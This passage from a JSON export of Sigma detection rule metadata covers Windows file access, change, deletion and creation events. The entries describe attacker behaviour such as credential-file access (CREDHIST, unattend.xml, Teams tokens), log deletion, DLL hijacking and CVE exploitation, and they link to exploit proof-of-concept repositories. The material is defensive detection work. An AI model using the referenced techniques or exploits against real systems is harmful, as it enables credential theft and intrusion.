- "uuid": "7a2a22ea-a203-4cd3-9abf-20eb1c5c6cd2", - "value": "Suspicious Access To Windows Credential History File", - "meta": { - "refs": [ - "https://tools.thehacker.recipes/mimikatz/modules/dpapi/credhist", - "https://www.passcape.com/windows_password_recovery_dpapi_credhist", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_susp_cred_hist_access.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1555.004" - ], - "creation_date": "2022/10/17", - "filename": "file_access_win_susp_cred_hist_access.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_access", - "logsource.product": "windows" - } - }, - { - "description": "Attackers may change the file creation time of a backdoor to make it look like it was installed with the operating system.\nNote that many processes legitimately change the creation time of a file; it does not necessarily indicate malicious activity.\n", - "uuid": "558eebe5-f2ba-4104-b339-36f7902bcc1a", - "value": "File Creation Date Changed to Another Year", - "meta": { - "refs": [ - "https://www.inversecos.com/2022/04/defence-evasion-technique-timestomping.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_change/file_change_win_2022_timestomping.yml" - ], - "tags": [ - "attack.t1070.006", - "attack.defense_evasion" - ], - "creation_date": "2022/08/12", - "filename": "file_change_win_2022_timestomping.yml", - "author": "frack113, Florian Roth", - "level": "high", - "falsepositive": [ - "Changes made to or by the local NTP service" - ], - "logsource.category": "file_change", - "logsource.product": "windows" - } - }, - { - "description": "Detects an unexpected file being modified by dns.exe which my indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)", - "uuid": "9f383dc0-fdeb-4d56-acbc-9f9f4f8f20f3", - "value": "Unusual File Modification by dns.exe", - "meta": { - "refs": [ - "https://www.elastic.co/guide/en/security/current/unusual-file-modification-by-dns.exe.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_change/file_change_win_unusual_modification_by_dns_exe.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1133" - ], - "creation_date": "2022/09/27", - "filename": "file_change_win_unusual_modification_by_dns_exe.yml", - "author": "Tim Rauch", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_change", - "logsource.product": "windows" - } - }, - { - "description": "Detect DLL deletions from Spooler Service driver folder", - "uuid": "5b2bbc47-dead-4ef7-8908-0cf73fcbecbf", - "value": "Windows Spooler Service Suspicious File Deletion", - "meta": { - "refs": [ - "https://github.com/hhlxf/PrintNightmare", - "https://github.com/cube0x0/CVE-2021-1675", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_cve_2021_1675_printspooler_del.yml" - ], - "tags": [ - "attack.persistence", - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1574", - "cve.2021.1675" - ], - "creation_date": "2021/07/01", - "filename": "file_delete_win_cve_2021_1675_printspooler_del.yml", - "author": "Bhabesh Raj", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_delete", - "logsource.product": "windows" - } - }, - { - "description": "Deletion of log files is a known anti-forensic technique", - "uuid": "b1decb61-ed83-4339-8e95-53ea51901720", - "value": "Delete Log from Application", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_appli_log.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.004" - ], - "creation_date": "2022/01/16", - "filename": "file_delete_win_delete_appli_log.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_delete", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.", - "uuid": "06125661-3814-4e03-bfa2-1e4411c60ac3", - "value": "Deletes Backup Files", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-6---windows---delete-backup-files", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_backup_file.yml" - ], - "tags": [ - "attack.impact", - "attack.t1490" - ], - "creation_date": "2022/01/02", - "filename": "file_delete_win_delete_backup_file.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitime usage" - ], - "logsource.category": "file_delete", - "logsource.product": "windows" - } - }, - { - "description": "Detects the deletion of a prefetch file (AntiForensic)", - "uuid": "0a1f9d29-6465-4776-b091-7f43b26e4c89", - "value": "Prefetch File Deletion", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_prefetch.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.004" - ], - "creation_date": "2021/09/29", - "filename": "file_delete_win_delete_prefetch.yml", - "author": "Cedric MAURUGEON", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_delete", - "logsource.product": "windows" - } - }, - { - "description": "Detects the deletion of the Exchange PowerShell cmdlet History logs which may indicate an attempt to destroy forensic evidence", - "uuid": "a55349d8-9588-4c5a-8e3b-1925fe2a4ffe", - "value": "Exchange PowerShell Cmdlet History Deleted", - "meta": { - "refs": [ - "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_exchange_powershell_logs.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070" - ], - "creation_date": "2022/10/26", - "filename": "file_delete_win_exchange_powershell_logs.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Possible FP during log rotation" - ], - "logsource.category": "file_delete", - "logsource.product": "windows" - } - }, - { - "description": "A General detection to trigger for the deletion of files by Sysinternals SDelete. It looks for the common name pattern used to rename files.", - "uuid": "6ddab845-b1b8-49c2-bbf7-1a11967f64bc", - "value": "Sysinternals SDelete File Deletion", - "meta": { - "refs": [ - "https://github.com/OTRF/detection-hackathon-apt29/issues/9", - "https://threathunterplaybook.com/evals/apt29/detections/4.B.4_83D62033-105A-4A02-8B75-DAB52D8D51EC.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_sysinternals_sdelete_file_deletion.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.004" - ], - "creation_date": "2020/05/02", - "filename": "file_delete_win_sysinternals_sdelete_file_deletion.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "medium", - "falsepositive": [ - "Legitime usage of SDelete" - ], - "logsource.category": "file_delete", - "logsource.product": "windows" - } - }, - { - "description": "Detects an unexpected file being deleted by dns.exe which my indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)", - "uuid": "8f0b1fb1-9bd4-4e74-8cdf-a8de4d2adfd0", - "value": "Unusual File Deletion by dns.exe", - "meta": { - "refs": [ - "https://www.elastic.co/guide/en/security/current/unusual-file-modification-by-dns.exe.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_unusual_deletion_by_dns_exe.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1133" - ], - "creation_date": "2022/09/27", - "filename": "file_delete_win_unusual_deletion_by_dns_exe.yml", - "author": "Tim Rauch", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_delete", - "logsource.product": "windows" - } - }, - { - "description": "Detects the deletion of WebServer access logs which may indicate an attempt to destroy forensic evidence", - "uuid": "3eb8c339-a765-48cc-a150-4364c04652bf", - "value": "WebServer Access Logs Deleted", - "meta": { - "refs": [ - "https://www.elastic.co/guide/en/security/current/webserver-access-logs-deleted.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_webserver_access_logs_deleted.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070" - ], - "creation_date": "2022/09/16", - "filename": "file_delete_win_webserver_access_logs_deleted.yml", - "author": "Tim Rauch", - "level": "medium", - "falsepositive": [ - "During uninstallation of the IIS service", - "During log rotation" - ], - "logsource.category": "file_delete", - "logsource.product": "windows" - } - }, - { - "description": "Detects an access to authentication tokens and accounts of Microsoft Teams desktop application.", - "uuid": "6902955a-01b7-432c-b32a-6f5f81d8f624", - "value": "Suspicious File Event With Teams Objects", - "meta": { - "refs": [ - "https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/", - "https://www.vectra.ai/blogpost/undermining-microsoft-teams-security-by-mining-tokens", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_access_susp_teams.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1528" - ], - "creation_date": "2022/09/16", - "filename": "file_event_win_access_susp_teams.yml", - "author": "@SerkinValery", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored.\nIf these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process\n", - "uuid": "1a3d42dd-3763-46b9-8025-b5f17f340dfb", - "value": "Suspicious Unattend.xml File Access", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_access_susp_unattend_xml.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.001" - ], - "creation_date": "2021/12/19", - "filename": "file_event_win_access_susp_unattend_xml.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of Advanced IP Scanner. Seems to be a popular tool for ransomware groups.", - "uuid": "fed85bf9-e075-4280-9159-fbe8a023d6fa", - "value": "Advanced IP Scanner", - "meta": { - "refs": [ - "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/", - "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html", - "https://labs.f-secure.com/blog/prelude-to-ransomware-systembc", - "https://assets.documentcloud.org/documents/20444693/fbi-pin-egregor-ransomware-bc-01062021.pdf", - "https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_advanced_ip_scanner.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1046" - ], - "creation_date": "2020/05/12", - "filename": "file_event_win_advanced_ip_scanner.yml", - "author": "@ROxPinTeddy", - "level": "medium", - "falsepositive": [ - "Legitimate administrative use" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", - "uuid": "0b9ad457-2554-44c1-82c2-d56a99c42377", - "value": "Anydesk Temporary Artefact", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-2---anydesk-files-detected-test-on-windows", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_anydesk_artefact.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ], - "creation_date": "2022/02/11", - "filename": "file_event_win_anydesk_artefact.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate use" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects anydesk writing binaries files to disk other than \"gcapi.dll\".\nAccording to RedCanary research it's highly abnormal for AnyDesk to write executable files to disk besides gcapi.dll,\nwhich is a legitimate DLL that's part of the Google Chrome web browser used to interact with the Google Cloud API. (See reference section for more details)\n", - "uuid": "2d367498-5112-4ae5-a06a-96e7bc33a211", - "value": "Suspicious Binary Writes Via AnyDesk", - "meta": { - "refs": [ - "https://redcanary.com/blog/misbehaving-rats/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_anydesk_writing_susp_binaries.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ], - "creation_date": "2022/09/28", - "filename": "file_event_win_anydesk_writing_susp_binaries.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "A sigma rule detecting an unidetefied attacker who used phishing emails to target high profile orgs on November 2018. The Actor shares some TTPs with YYTRIUM/APT29 campaign in 2016.", - "uuid": "3a3f81ca-652c-482b-adeb-b1c804727f74", - "value": "Unidentified Attacker November 2018", - "meta": { - "refs": [ - "https://twitter.com/DrunkBinary/status/1063075530180886529", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_apt_unidentified_nov_18.yml" - ], - "tags": [ - "attack.execution", - "attack.t1218.011" - ], - "creation_date": "2018/11/20", - "filename": "file_event_win_apt_unidentified_nov_18.yml", - "author": "@41thexplorer, Microsoft Defender ATP", - "level": "high", - "falsepositive": "No established falsepositives", - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects default file names outputted by the BloodHound collection tool SharpHound", - "uuid": "02773bed-83bf-469f-b7ff-e676e7d78bab", - "value": "BloodHound Collection Files", - "meta": { - "refs": [ - "https://academy.hackthebox.com/course/preview/active-directory-bloodhound/bloodhound--data-collection", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_bloodhound_collection.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1087.001", - "attack.t1087.002", - "attack.t1482", - "attack.t1069.001", - "attack.t1069.002", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2022/08/09", - "filename": "file_event_win_bloodhound_collection.yml", - "author": "C.J. May", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious file creation patterns found in logs when CrackMapExec is used", - "uuid": "9433ff9c-5d3f-4269-99f8-95fc826ea489", - "value": "CrackMapExec File Creation Patterns", - "meta": { - "refs": [ - "https://mpgn.gitbook.io/crackmapexec/smb-protocol/obtaining-credentials/dump-lsass", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_crackmapexec_patterns.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ], - "creation_date": "2022/03/12", - "filename": "file_event_win_crackmapexec_patterns.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims.\nThe Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time.\n", - "uuid": "ee63c85c-6d51-4d12-ad09-04e25877a947", - "value": "New Shim Database Created in the Default Directory", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.011/T1546.011.md#atomic-test-2---new-shim-database-files-created-in-the-default-shim-database-directory", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_creation_new_shim_database.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.009" - ], - "creation_date": "2021/12/29", - "filename": "file_event_win_creation_new_shim_database.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may establish persistence by executing malicious content triggered by user inactivity.\nScreensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension\n", - "uuid": "97aa2e88-555c-450d-85a6-229bcd87efb8", - "value": "Suspicious Screensaver Binary File Creation", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.002/T1546.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_creation_scr_binary_file.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1546.002" - ], - "creation_date": "2021/12/29", - "filename": "file_event_win_creation_scr_binary_file.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation of an executable with a system process name in folders other than the system ones (System32, SysWOW64...etc).", - "uuid": "d5866ddf-ce8f-4aea-b28e-d96485a20d3d", - "value": "Files With System Process Name In Unsuspected Locations", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_creation_system_file.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036.005" - ], - "creation_date": "2020/05/26", - "filename": "file_event_win_creation_system_file.yml", - "author": "Sander Wiebing, Tim Shelton, Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "System processes copied outside their default folders for testing purposes", - "Third party software naming their software with the same names as the processes mentioned here" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may execute their own malicious payloads by hijacking vulnerable file path references.\nAdversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n", - "uuid": "8c3c76ca-8f8b-4b1d-aaf3-81aebcd367c9", - "value": "Creation Exe for Service with Unquoted Path", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.009/T1574.009.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_creation_unquoted_service_path.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.009" - ], - "creation_date": "2021/12/30", - "filename": "file_event_win_creation_unquoted_service_path.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Files with well-known filenames (parts of credential dump software or files produced by them) creation", - "uuid": "8fbf3271-1ef6-4e94-8210-03c2317947f6", - "value": "Cred Dump Tools Dropped Files", - "meta": { - "refs": [ - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cred_dump_tools_dropped_files.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001", - "attack.t1003.002", - "attack.t1003.003", - "attack.t1003.004", - "attack.t1003.005" - ], - "creation_date": "2019/11/01", - "filename": "file_event_win_cred_dump_tools_dropped_files.yml", - "author": "Teymur Kheirkhabarov, oscd.community", - "level": "high", - "falsepositive": [ - "Legitimate Administrator using tool for password recovery" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects a file ending in jse, vbe, js, vba, vbs written by cscript.exe or wscript.exe", - "uuid": "002bdb95-0cf1-46a6-9e08-d38c128a6127", - "value": "WScript or CScript Dropper", - "meta": { - "refs": [ - "WScript or CScript Dropper (cea72823-df4d-4567-950c-0b579eaf0846)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cscript_wscript_dropper.yml" - ], - "tags": "No established tags", - "creation_date": "2022/01/10", - "filename": "file_event_win_cscript_wscript_dropper.yml", - "author": "Tim Shelton", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "When C# is compiled dynamically, a .cmdline file will be created as a part of the process.\nCertain processes are not typically observed compiling C# code, but can do so without touching disk.\nThis can be used to unpack a payload for execution\n", - "uuid": "e4a74e34-ecde-4aab-b2fb-9112dd01aed0", - "value": "Dynamic C Sharp Compile Artefact", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027.004/T1027.004.md#atomic-test-2---dynamic-c-compile", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_csharp_compile_artefact.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027.004" - ], - "creation_date": "2022/01/09", - "filename": "file_event_win_csharp_compile_artefact.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the default filename used in PoC code against print spooler vulnerability CVE-2021-1675", - "uuid": "2131cfb3-8c12-45e8-8fa0-31f5924e9f07", - "value": "CVE-2021-1675 Print Spooler Exploitation Filename Pattern", - "meta": { - "refs": [ - "https://github.com/hhlxf/PrintNightmare", - "https://github.com/afwu/PrintNightmare", - "https://github.com/cube0x0/CVE-2021-1675", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2021_1675_printspooler.yml" - ], - "tags": [ - "attack.execution", - "attack.privilege_escalation", - "attack.resource_development", - "attack.t1587", - "cve.2021.1675" - ], - "creation_date": "2021/06/29", - "filename": "file_event_win_cve_2021_1675_printspooler.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects possible successful exploitation for vulnerability described in CVE-2021-26858 by looking for \ncreation of non-standard files on disk by Exchange Server\u2019s Unified Messaging service\nwhich could indicate dropping web shells or other malicious content\n", - "uuid": "b06335b3-55ac-4b41-937e-16b7f5d57dfd", - "value": "CVE-2021-26858 Exchange Exploitation", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2021_26858_msexchange.yml" - ], - "tags": [ - "attack.t1203", - "attack.execution", - "cve.2021.26858" - ], - "creation_date": "2021/03/03", - "filename": "file_event_win_cve_2021_26858_msexchange.yml", - "author": "Bhabesh Raj", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum", - "uuid": "ad7085ac-92e4-4b76-8ce2-276d2c0e68ef", - "value": "CVE-2021-31979 CVE-2021-33771 Exploits by Sourgum", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/", - "https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2021_31979_cve_2021_33771_exploits.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1566", - "attack.t1203", - "cve.2021.33771", - "cve.2021.31979" - ], - "creation_date": "2021/07/16", - "filename": "file_event_win_cve_2021_31979_cve_2021_33771_exploits.yml", - "author": "Sittikorn S", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects signs of the exploitation of LPE CVE-2021-41379 that include an msiexec process that creates an elevation_service.exe file", - "uuid": "3be82d5d-09fe-4d6a-a275-0d40d234d324", - "value": "InstallerFileTakeOver LPE CVE-2021-41379 File Create Event", - "meta": { - "refs": [ - "https://github.com/klinix5/InstallerFileTakeOver", - "https://www.zerodayinitiative.com/advisories/ZDI-21-1308/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2021_41379_msi_lpe.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1068" - ], - "creation_date": "2021/11/22", - "filename": "file_event_win_cve_2021_41379_msi_lpe.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown", - "Possibly some Microsoft Edge upgrades" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation of \"msiexec.exe\" in the \"bin\" directory of the ManageEngine SupportCenter Plus (Related to CVE-2021-44077) and public POC available (See references section)", - "uuid": "7b501acf-fa98-4272-aa39-194f82edc8a3", - "value": "CVE-2021-44077 POC Default Dropped File", - "meta": { - "refs": [ - "https://thedfirreport.com/2022/06/06/will-the-real-msiexec-please-stand-up-exploit-leads-to-data-exfiltration/", - "https://github.com/horizon3ai/CVE-2021-44077/blob/b7a48e25824e8ead95e028475c7fd0e107e6e6bf/exploit.py", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2021_44077_poc_default_files.yml" - ], - "tags": [ - "attack.execution", - "cve.2021.44077" - ], - "creation_date": "2022/06/06", - "filename": "file_event_win_cve_2021_44077_poc_default_files.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects files created during the local privilege exploitation of CVE-2022-24527 Microsoft Connected Cache", - "uuid": "e0a41412-c69a-446f-8e6e-0e6d7483dad7", - "value": "CVE-2022-24527 Microsoft Connected Cache LPE", - "meta": { - "refs": [ - "https://www.rapid7.com/blog/post/2022/04/12/cve-2022-24527-microsoft-connected-cache-local-privilege-escalation-fixed/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2022_24527_lpe.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1059.001", - "cve.2022.24527" - ], - "creation_date": "2022/04/13", - "filename": "file_event_win_cve_2022_24527_lpe.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Powerup tool's Write Hijack DLL exploits DLL hijacking for privilege escalation.\nIn it's default mode, it builds a self deleting .bat file which executes malicious command.\nThe detection rule relies on creation of the malicious bat file (debug.bat by default).\n", - "uuid": "602a1f13-c640-4d73-b053-be9a2fa58b96", - "value": "Powerup Write Hijack DLL", - "meta": { - "refs": [ - "https://powersploit.readthedocs.io/en/latest/Privesc/Write-HijackDll/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_detect_powerup_dllhijacking.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.defense_evasion", - "attack.t1574.001" - ], - "creation_date": "2021/08/21", - "filename": "file_event_win_detect_powerup_dllhijacking.yml", - "author": "Subhash Popuri (@pbssubhash)", - "level": "high", - "falsepositive": [ - "Any powershell script that creates bat files" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects when an attacker create a similar folder structure to windows system folders such as (Windows, Program Files...)\nbut with a space in order to trick DLL load search order and perform a \"DLL Search Order Hijacking\" attack\n", - "uuid": "b6f91281-20aa-446a-b986-38a92813a18f", - "value": "DLL Search Order Hijackig Via Additional Space in Path", - "meta": { - "refs": [ - "https://twitter.com/cyb3rops/status/1552932770464292864", - "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_dll_sideloading_space_path.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.defense_evasion", - "attack.t1574.002" - ], - "creation_date": "2022/07/30", - "filename": "file_event_win_dll_sideloading_space_path.yml", - "author": "frack113, Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects creation of a file named \"ErrorHandler.cmd\" in the \"C:\\WINDOWS\\Setup\\Scripts\\\" directory which could be used as a method of persistence\nThe content of C:\\WINDOWS\\Setup\\Scripts\\ErrorHandler.cmd is read whenever some tools under C:\\WINDOWS\\System32\\oobe\\ (e.g. Setup.exe) fail to run for any reason.\n", - "uuid": "15904280-565c-4b73-9303-3291f964e7f9", - "value": "Persistence Via ErrorHandler.Cmd", - "meta": { - "refs": [ - "https://www.hexacorn.com/blog/2022/01/16/beyond-good-ol-run-key-part-135/", - "https://github.com/last-byte/PersistenceSniper", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_error_handler_cmd_persistence.yml" - ], - "tags": [ - "attack.persistence" - ], - "creation_date": "2022/08/09", - "filename": "file_event_win_error_handler_cmd_persistence.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious file type dropped by an Exchange component in IIS into a suspicious folder", - "uuid": "bd1212e5-78da-431e-95fa-c58e3237a8e6", - "value": "Suspicious ASPX File Drop by Exchange", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/", - "https://www.gteltsc.vn/blog/canh-bao-chien-dich-tan-cong-su-dung-lo-hong-zero-day-tren-microsoft-exchange-server-12714.html", - 